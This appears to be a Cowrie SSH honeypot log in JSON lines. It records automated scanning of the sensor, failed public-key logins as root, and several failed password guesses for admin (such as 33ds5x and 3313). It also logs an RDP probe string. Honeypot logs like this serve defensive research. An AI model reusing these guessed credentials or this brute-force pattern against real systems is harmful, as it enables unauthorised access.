{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:59.320458Z","src_ip":"148.153.121.224","session":"8867e2372728","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:86:db:9f:db:58:82:1b:55:5c:2e:fb:6f:ff:7e:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy1x+q7G4WgpAkPO3VLKlv5nj0O3NOfi/wQvWLee151V8HSS0E3otO+WzOtcct9K1bDtvISboBpRUAp17U8Ee+NpvAAbTLTsrNAq4UO4nlxYlD5gvWthsGsQfHAgM+WrtYJMPk7uHy2sEcdVzpxZSvLPYetcIJHwvvUP0mE45G9p5wQYwBGp2w/loDFmEPw8kwDaYJeTRfMVJ5ihoeQFkYtc+dpxf1XZlMXIlkNfbS/3SpKC3owpXHq+P+IUHzvMEWdnY3xXibAhvpu1g2bCAuvowsp8mNpDUDa6vdXkt9P+o8+wJ8TZ6OxxtAlMmPrre27+hDwIe8OOr+hl6X3o5n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:86:db:9f:db:58:82:1b:55:5c:2e:fb:6f:ff:7e:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:59.511044Z","src_ip":"148.153.121.224","session":"8867e2372728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:86:db:9f:db:58:82:1b:55:5c:2e:fb:6f:ff:7e:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy1x+q7G4WgpAkPO3VLKlv5nj0O3NOfi/wQvWLee151V8HSS0E3otO+WzOtcct9K1bDtvISboBpRUAp17U8Ee+NpvAAbTLTsrNAq4UO4nlxYlD5gvWthsGsQfHAgM+WrtYJMPk7uHy2sEcdVzpxZSvLPYetcIJHwvvUP0mE45G9p5wQYwBGp2w/loDFmEPw8kwDaYJeTRfMVJ5ihoeQFkYtc+dpxf1XZlMXIlkNfbS/3SpKC3owpXHq+P+IUHzvMEWdnY3xXibAhvpu1g2bCAuvowsp8mNpDUDa6vdXkt9P+o8+wJ8TZ6OxxtAlMmPrre27+hDwIe8OOr+hl6X3o5n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:59.514762Z","src_ip":"148.153.121.224","session":"8867e2372728","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:70:f0:9b:15:59:eb:99:d9:4e:84:68:50:86:25:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+yS7Z4pRg1qWCAKITi434GVslINXDlJgEm8Ax4NxbYyrSX73X2I3LnKGVsYjsGAJ2Ztlpl4J2gM5WMlipk4ILbQav8Y5Mq5ktoGXFtn4TuXhCpdBI3msI26YD4LXntfIY4p4WqOONLA3IZ+wUiKV+b9T4VOwX/zI1Qeaiw1EV7NsJDVB2qMmoUpXUaVcSKfpDLHoJIhTYY+36eUQvWY7Ksv0PnchNn67O8fR7JFjt9x8H68jQAaoR8jdSaqSA6ZFoWXE5eilYFjQ5BOjC7eAHl5q80lTfePICIVRo1HzdlOU0RTJRDicefnYTnHLcjDHOtGLW2lrwoRToC1OhXojei3IFoViC+VH5YvO4iNuNtmIoAoKAEH2A0cSSlT77oYIOgMm1xlwV1hO2ZR50SRyGnBpweNWqlspIElPu0Y92fatqM5DQOrEE8c/g45Z4BDTBVOmVAZx3+Gjl+dEelmB4ly3zx2Jw33QdOpSCnvoyKFsEbfj/7SbLAkqTyP3ixrWcWfnAKw61X5Dw1GyMRRJoTtWNNGccGsCqiP0NyIYCojcMDJCdQomYtCwirdKA1ZhI+omB18yQFAT5MH0Ht8mWWKgDbKsskd1+yrFygja7jf+nw6YJGCvUwA57dAoFWIFQY7usu0bdzykpIIMT33kg2xC62sxF0V9OwVs9PhwmlQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:70:f0:9b:15:59:eb:99:d9:4e:84:68:50:86:25:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:59.557948Z","src_ip":"148.153.121.224","session":"8867e2372728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:70:f0:9b:15:59:eb:99:d9:4e:84:68:50:86:25:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+yS7Z4pRg1qWCAKITi434GVslINXDlJgEm8Ax4NxbYyrSX73X2I3LnKGVsYjsGAJ2Ztlpl4J2gM5WMlipk4ILbQav8Y5Mq5ktoGXFtn4TuXhCpdBI3msI26YD4LXntfIY4p4WqOONLA3IZ+wUiKV+b9T4VOwX/zI1Qeaiw1EV7NsJDVB2qMmoUpXUaVcSKfpDLHoJIhTYY+36eUQvWY7Ksv0PnchNn67O8fR7JFjt9x8H68jQAaoR8jdSaqSA6ZFoWXE5eilYFjQ5BOjC7eAHl5q80lTfePICIVRo1HzdlOU0RTJRDicefnYTnHLcjDHOtGLW2lrwoRToC1OhXojei3IFoViC+VH5YvO4iNuNtmIoAoKAEH2A0cSSlT77oYIOgMm1xlwV1hO2ZR50SRyGnBpweNWqlspIElPu0Y92fatqM5DQOrEE8c/g45Z4BDTBVOmVAZx3+Gjl+dEelmB4ly3zx2Jw33QdOpSCnvoyKFsEbfj/7SbLAkqTyP3ixrWcWfnAKw61X5Dw1GyMRRJoTtWNNGccGsCqiP0NyIYCojcMDJCdQomYtCwirdKA1ZhI+omB18yQFAT5MH0Ht8mWWKgDbKsskd1+yrFygja7jf+nw6YJGCvUwA57dAoFWIFQY7usu0bdzykpIIMT33kg2xC62sxF0V9OwVs9PhwmlQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:59.561144Z","src_ip":"148.153.121.224","session":"8867e2372728","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:b3:ab:49:33:4f:2d:d2:b1:2c:c7:09:81:4b:f0:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZSBcmQSWkP0GWv3f7e6Alx0LZiYQrjrAipbJdSg5xEbGqwEHrLJRMYfFrlOT4NBx039G7Z/QD3EmyG+MXBcrVinnGJltC9nRWO6vXt47cP9unMY2s30Eqth6DaHZY/A1Zfwgf5J4OiFu19DAasjHH/UVoK9LjcfgfVhnPof54Sn3C/AJhQOhFFTWNtcgL5RBzuuaWzuZJ+lgAyaSPk6k2Q9Xhc8TXwVE7lEA2VeMmLhn8InxL5zOjE8OD+QVOQPxoXlgybMvaZOM9WEVAKOYpj4ooNSoxoJ6W3MAS/4co4UtXoUfdSq9dKy0WAgt2AaN7rR+8e/qwIG7RUQ1TftbgOPoF81sTHx477ZXmqxCuWt6FWRm4Rm8vkS4cr+nFWOX9T9Yfo4MKhdGKEdorHnrIuWjsVrbfx21dMHU/stjTlmtsVDZX6ccJjob43B8pAsHJ3i2CXCK5/Fx5XL1feqF5lcPreoxrC8pb9a8lfVellZXxm5Uz/B6askHryPzdxVOZyjdPTPmRKVPP8lzJcSDXVxmQOokSTsRWcG/Hkd82/Sx5FNJbdYqVH/6vd/jmf8pJNXYSFUJ+dD+ZLhVe4oG5W7BrEuzPzMouSb3djhyNRFb+Fv6An9REiBu0ZFELoxgHxHa1fEsryimrrtElMMbSlQF9ORdLDumxOr51xv/tSw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:b3:ab:49:33:4f:2d:d2:b1:2c:c7:09:81:4b:f0:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:59.607424Z","src_ip":"148.153.121.224","session":"8867e2372728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:b3:ab:49:33:4f:2d:d2:b1:2c:c7:09:81:4b:f0:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZSBcmQSWkP0GWv3f7e6Alx0LZiYQrjrAipbJdSg5xEbGqwEHrLJRMYfFrlOT4NBx039G7Z/QD3EmyG+MXBcrVinnGJltC9nRWO6vXt47cP9unMY2s30Eqth6DaHZY/A1Zfwgf5J4OiFu19DAasjHH/UVoK9LjcfgfVhnPof54Sn3C/AJhQOhFFTWNtcgL5RBzuuaWzuZJ+lgAyaSPk6k2Q9Xhc8TXwVE7lEA2VeMmLhn8InxL5zOjE8OD+QVOQPxoXlgybMvaZOM9WEVAKOYpj4ooNSoxoJ6W3MAS/4co4UtXoUfdSq9dKy0WAgt2AaN7rR+8e/qwIG7RUQ1TftbgOPoF81sTHx477ZXmqxCuWt6FWRm4Rm8vkS4cr+nFWOX9T9Yfo4MKhdGKEdorHnrIuWjsVrbfx21dMHU/stjTlmtsVDZX6ccJjob43B8pAsHJ3i2CXCK5/Fx5XL1feqF5lcPreoxrC8pb9a8lfVellZXxm5Uz/B6askHryPzdxVOZyjdPTPmRKVPP8lzJcSDXVxmQOokSTsRWcG/Hkd82/Sx5FNJbdYqVH/6vd/jmf8pJNXYSFUJ+dD+ZLhVe4oG5W7BrEuzPzMouSb3djhyNRFb+Fv6An9REiBu0ZFELoxgHxHa1fEsryimrrtElMMbSlQF9ORdLDumxOr51xv/tSw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:59.611188Z","src_ip":"148.153.121.224","session":"8867e2372728","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:63:75:c5:2c:15:02:e8:ef:0b:af:4b:52:64:ec:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCt4KWBgyrHRvK8IKSCws8XcBRQ15hFMWZcWKwESm3SCFrFcXVQJoeSTmMrtTdYRB7BnUwOvzIFoy7jqtijO3X9Zz8C8foczD0dnyqF4300KWjZNiOXJ6daoMH0g+Q7+OP0QbFbCOQFrRKfcbB4pIn+4awkSlrRkB9CZeb5oMtqx5S3z+2L5WF2FCSbtVBsu9DQmMQOar3IcoxEN+h1Ce1ufzQX4PIzuaKuKMjU8e0eL1yasOBJ5Fj9R4AtNm02rFUkVW/ZWdMgghogJhv0pPVuK9JyFxS14uq+Xl3BRC7K8TSx889Vd5JAiB85FfmUKkqxkxu9VdHtQkDyAjxg/FBDUxuB1eqwCFxSpVtwvTDnSLL59I9xq/tLTmRd0Yzjk6iVBbrMwpncsa2bQZWyfltakAJKjVusDzXcgy2hwFtQg3mqMrbYsi76PzS/TEHsGB36unYarl94AKKuf23p8Hnxfc1FpX7otp6WTO57P9msXwfh2DWJv6gwKGMP/Nkozory8ca9RUWTZ3YZRFCHrXF7VEhB0/QMLtfY5+yuyKUt0TpOYSwehhbu9PR5SclOQtc9NeQCg9N0jXyelLG9at0fSY+ERO/FP33J3UgN6teP9+jHBvzA/HDg5ue/UCJR/OSHlwRXn56LNuBb15gsKDShlcVNdDGvyk5NRKdCBCgiWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:63:75:c5:2c:15:02:e8:ef:0b:af:4b:52:64:ec:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:59.653672Z","src_ip":"148.153.121.224","session":"8867e2372728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:63:75:c5:2c:15:02:e8:ef:0b:af:4b:52:64:ec:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCt4KWBgyrHRvK8IKSCws8XcBRQ15hFMWZcWKwESm3SCFrFcXVQJoeSTmMrtTdYRB7BnUwOvzIFoy7jqtijO3X9Zz8C8foczD0dnyqF4300KWjZNiOXJ6daoMH0g+Q7+OP0QbFbCOQFrRKfcbB4pIn+4awkSlrRkB9CZeb5oMtqx5S3z+2L5WF2FCSbtVBsu9DQmMQOar3IcoxEN+h1Ce1ufzQX4PIzuaKuKMjU8e0eL1yasOBJ5Fj9R4AtNm02rFUkVW/ZWdMgghogJhv0pPVuK9JyFxS14uq+Xl3BRC7K8TSx889Vd5JAiB85FfmUKkqxkxu9VdHtQkDyAjxg/FBDUxuB1eqwCFxSpVtwvTDnSLL59I9xq/tLTmRd0Yzjk6iVBbrMwpncsa2bQZWyfltakAJKjVusDzXcgy2hwFtQg3mqMrbYsi76PzS/TEHsGB36unYarl94AKKuf23p8Hnxfc1FpX7otp6WTO57P9msXwfh2DWJv6gwKGMP/Nkozory8ca9RUWTZ3YZRFCHrXF7VEhB0/QMLtfY5+yuyKUt0TpOYSwehhbu9PR5SclOQtc9NeQCg9N0jXyelLG9at0fSY+ERO/FP33J3UgN6teP9+jHBvzA/HDg5ue/UCJR/OSHlwRXn56LNuBb15gsKDShlcVNdDGvyk5NRKdCBCgiWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:59.657443Z","src_ip":"148.153.121.224","session":"8867e2372728","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:2a:ee:30:37:88:55:0e:dc:3f:3f:24:ed:48:5b:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDP2S1Dcl5+et5w9tSdpWFJoQPu+ht/qqD4+a1ECutfVXwuXvQia8A9gSDlq5bjpEsVF44NgRVoxbcZIpHXuSDI4uZ+ArSYcmG0aLtw2HVOs07ylaWwZVpCxj0MGXoSQLiIM2Ky4u3RpUZawMFe/2UFXrebTlvNjgKG3fThYDUM6USd024+HgH7Izb/czdHGgrfGVwXWLSjlKgNXSZqlCyQ/7rG+Mp5ITzyuTnGjaWYRl7ZCc4AWYjbnaElmR6G4xhs0hSgqcVwEbD9MrThqFdaTni6pjG/dc5X+eYLlmcTSFufJX2D4MSErRE8J8xiJdUlXhHpeB/+Uv8+hN5IBeRWPDBc3deFK8udop3++6iAt7P6R2UC9yPKJj4Suv9j/YDtZANyjKZQ4/DwXIq80shYqsPpJdLOU7EeimQ+zJH8dI+MT15q+V8uI4ztcvOhPnKRfTWSaCSJWGgoaNwaY7eoHD5d3B0VrbyllAV2ewjyaEO9qA+hK5YBTIoCpnSfglmzoXyVMVp0spb/Y8fyCQ8COh96oO7l6nMqyAFG2maJawEPCYbajw3jNzOSV1x/UnOZeZ4aSd77o8daqf2ZeCT7R0UzsQJ5Rz9swm6adX7449x+zpvD289rp4uIzk4y8mg8L33O/cIa3yh8No6CVcEDIdzgYGX4Xeno3s7y73dAAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:2a:ee:30:37:88:55:0e:dc:3f:3f:24:ed:48:5b:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:59.700444Z","src_ip":"148.153.121.224","session":"8867e2372728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:2a:ee:30:37:88:55:0e:dc:3f:3f:24:ed:48:5b:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDP2S1Dcl5+et5w9tSdpWFJoQPu+ht/qqD4+a1ECutfVXwuXvQia8A9gSDlq5bjpEsVF44NgRVoxbcZIpHXuSDI4uZ+ArSYcmG0aLtw2HVOs07ylaWwZVpCxj0MGXoSQLiIM2Ky4u3RpUZawMFe/2UFXrebTlvNjgKG3fThYDUM6USd024+HgH7Izb/czdHGgrfGVwXWLSjlKgNXSZqlCyQ/7rG+Mp5ITzyuTnGjaWYRl7ZCc4AWYjbnaElmR6G4xhs0hSgqcVwEbD9MrThqFdaTni6pjG/dc5X+eYLlmcTSFufJX2D4MSErRE8J8xiJdUlXhHpeB/+Uv8+hN5IBeRWPDBc3deFK8udop3++6iAt7P6R2UC9yPKJj4Suv9j/YDtZANyjKZQ4/DwXIq80shYqsPpJdLOU7EeimQ+zJH8dI+MT15q+V8uI4ztcvOhPnKRfTWSaCSJWGgoaNwaY7eoHD5d3B0VrbyllAV2ewjyaEO9qA+hK5YBTIoCpnSfglmzoXyVMVp0spb/Y8fyCQ8COh96oO7l6nMqyAFG2maJawEPCYbajw3jNzOSV1x/UnOZeZ4aSd77o8daqf2ZeCT7R0UzsQJ5Rz9swm6adX7449x+zpvD289rp4uIzk4y8mg8L33O/cIa3yh8No6CVcEDIdzgYGX4Xeno3s7y73dAAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:59.703478Z","src_ip":"148.153.121.224","session":"8867e2372728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:59.745813Z","src_ip":"148.153.121.224","session":"8867e2372728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:05.860447Z","src_ip":"46.161.50.109","session":"b1ae56f40a44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:18.071574Z","src_ip":"46.161.50.109","session":"3d6f66e295df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61393,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e09f3aa5b45","protocol":"ssh","message":"New connection: 152.42.212.128:61393 (159.203.135.109:22) [session: 4e09f3aa5b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:20.450607Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:20.454650Z","src_ip":"152.42.212.128","session":"4e09f3aa5b45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:20.461745Z","src_ip":"152.42.212.128","session":"4e09f3aa5b45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":13773,"dst_ip":"10.17.0.5","dst_port":22,"session":"25e7a05e80c5","protocol":"ssh","message":"New connection: 2.57.121.112:13773 (10.17.0.5:22) [session: 25e7a05e80c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:34.877698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:34.886066Z","src_ip":"2.57.121.112","session":"25e7a05e80c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:34.995353Z","src_ip":"2.57.121.112","session":"25e7a05e80c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"33ds5x","message":"login attempt [admin/33ds5x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:35.494087Z","src_ip":"2.57.121.112","session":"25e7a05e80c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"332332","message":"login attempt [admin/332332] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:36.604331Z","src_ip":"2.57.121.112","session":"25e7a05e80c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3313","message":"login attempt [admin/3313] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:37.713675Z","src_ip":"2.57.121.112","session":"25e7a05e80c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3133","message":"login attempt [admin/3133] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:38.823106Z","src_ip":"2.57.121.112","session":"25e7a05e80c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"311289","message":"login attempt [admin/311289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:39.932534Z","src_ip":"2.57.121.112","session":"25e7a05e80c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:41.040979Z","src_ip":"2.57.121.112","session":"25e7a05e80c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":54712,"dst_ip":"10.17.0.5","dst_port":22,"session":"632471cdce51","protocol":"ssh","message":"New connection: 103.77.242.62:54712 (10.17.0.5:22) [session: 632471cdce51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:48.842221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:48.846537Z","src_ip":"103.77.242.62","session":"632471cdce51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:36:49.081632Z","src_ip":"103.77.242.62","session":"632471cdce51","protocol":"ssh"}
